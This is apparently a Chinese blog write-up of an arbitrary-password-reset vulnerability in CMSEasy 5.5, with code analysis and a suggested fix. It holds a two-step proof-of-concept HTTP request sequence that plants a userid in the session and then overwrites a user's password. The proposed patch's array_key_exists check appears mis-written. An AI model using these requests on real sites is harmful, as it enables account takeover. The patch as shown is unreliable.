• CMSEASY /lib/tool/front_class.php、/lib/default/user_act.php arbitrary user password reset vulnerability


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    攻击者通过构造特殊的HTTP包,可以直接重置任意用户(包括管理员)的密码

    Relevant Link:

    http://www.cmseasy.cn/patch/show_919.html


    2. 漏洞触发条件

    0x1: POC

    1. 首先利用search_action控制userid的值
    http://localhost/CmsEasy_5.5/index.php?case=form&act=search&catid=8&form=my_yingpin
    POST
    keyword=|userid|i:1;"1"
    
    2. 利用edit_action修改用户密码和其它资料
    http://localhost/CmsEasy_5.5/index.php?case=user&act=edit
    POST
    password=3e503e8736acae9b3893629da7008fc0&nickname=ali&question=ali&answer=ali&qq=00000&e_mail=000%40test.com&tel=00000&address=&intro=&submit=%E6%8F%90%E4%BA%A4

    3. 漏洞影响范围

    4. 漏洞代码分析

    /lib/default/user_act.php

    function edit_action() 
    {
        if(front::post('submit')) 
        {
            unset(front::$post['groupid']);
            unset(front::$post['powerlist']);
            if(!is_email(front::$post['e_mail']))
            {
                alerterror('邮箱格式不对');
            }
            foreach (front::$post as $k => $v)
            {
                if(is_array($v) && !empty($v))
                {
                    front::$post[$k] = implode(',', $v);
                }
                front::check_type(front::post($k), 'safe');
            }
            //通过取session的userid字段更新该用户资料
            $this->_user->rec_update(front::$post,'userid='.session::get('userid'));
            front::flash(lang('修改资料成功!'));
            front::redirect(url::create('user/index'));
        }
        $this->view->data=$this->view->user;
    }

    edit_action函数实现修改用户资料,通过取sesson中的userid字段来更改。所以攻击路径必须能控制生成session中的userid字段,控制生成session的函数位置: /lib/default/form_act.php
    我们继续回溯这个漏洞

    function search_action() 
    {
        if(front::get('keyword') &&!front::post('keyword'))
        {
            front::$post['keyword']=front::get('keyword');
        } 
        front::check_type(front::post('keyword'),'safe');
        //获取POST数据中的keyword参数
        if(front::post('keyword')) 
        {
            $this->view->keyword=trim(front::post('keyword'));
            if(inject_check($this->view->keyword))
            {
                exit('非法请求!');
            }
            //通过恶意检测之后,通过session保存keyword参数
            session::set('keyword',$this->view->keyword);
        }
        else 
        {
            session::set('keyword',null);
            $this->view->keyword=session::get('keyword');
        }
        if(inject_check($this->view->keyword))
        {
            exit('非法请求!');
        }
        var_dump($this->view->keyword);
    
        $type = $this->view->type;
        $condition = "";
        if(front::post('catid')) 
        {
            $condition .= "catid = '".front::post('catid')."' AND ";
        }
        $condition .= "(title like '%".$this->view->keyword."%'";
        $sets=settings::getInstance()->getrow(array('tag'=>'table-fieldset'));
        $arr = unserialize($sets['value']);
        if(is_array($arr['archive']) &&!empty($arr['archive'])) 
        {
            foreach ($arr['archive'] as $v) 
            {
                if($v['issearch'] == '1') 
                {
                    $condition .= " OR {$v['name']} like '%{$this->view->keyword}%'";
                }
            }
        }
        $condition .= ")";
        $order = "`listorder` desc,1 DESC";
        $limit=(($this->view->page-1)*$this->pagesize).','.$this->pagesize;
        $articles=$this->archive->getrows($condition,$limit,$order);
        foreach($articles as $order=>$arc) 
        {
            $articles[$order]['url']=archive::url($arc);
            $articles[$order]['catname']=category::name($arc['catid']);
            $articles[$order]['caturl']=category::url($arc['catid']);
            $articles[$order]['adddate']= sdate($arc['adddate']);
            $articles[$order]['stitle']= strip_tags($arc['title']);
        }
        $this->view->articles=$articles;
        $this->view->archives=$articles;
        $this->view->record_count=$this->archive->record_count;
    }

    从访问控制的角度来看,这个漏洞有两个原因导致

    1. session不应该由攻击者随便修改,导致keyword被注入修改,这是一个平行权限漏洞
    2. 修改密码的入口来自于"用户资料修改",UI界面上只提供了普通身份资料的修改,但是因此MVC框架对POST数据进行了遍历,取出所有字段并进行了数据表更新操作,导致发生了表单字段注入

    5. 防御方法

    将代码逻辑和UI逻辑进行统一,防止出现表单字段注入
    /lib/default/user_act.php

    function edit_action() 
    {  
        if(front::post('submit')) 
        {
            unset(front::$post['groupid']);
            unset(front::$post['powerlist']);
            if(!is_email(front::$post['e_mail']))
            {
            alerterror('邮箱格式不对');
            } 
            /**/
            $tmp = front::$post;
            if ( array_key_exists("password", $tmp['password']) ) 
            {
            unset($tmp['password']);
            } 
            front::$post = $tmp;
            /**/
            foreach (front::$post as $k => $v)
            {
                if(is_array($v) && !empty($v))
            {
                    front::$post[$k] = implode(',', $v);
                }
                front::check_type(front::post($k), 'safe');
            }
            //通过取session的userid字段更新该用户资料
            $this->_user->rec_update(front::$post,'userid='.session::get('userid'));
            front::flash(lang('修改资料成功!'));
            front::redirect(url::create('user/index'));
        }
        $this->view->data=$this->view->user;
    }


    6. 攻防思考

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    css3圆形轨迹动画
    css3动画
    3D效果
    css3基础下
    css3基础
    HTML5 表单 中
    HTML5 表单
    面向对象的三大特性、七大原则、类与类间的关系
    四种事务的隔离级别
    线程池(二)
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4616471.html
Copyright © 2020-2023  润新知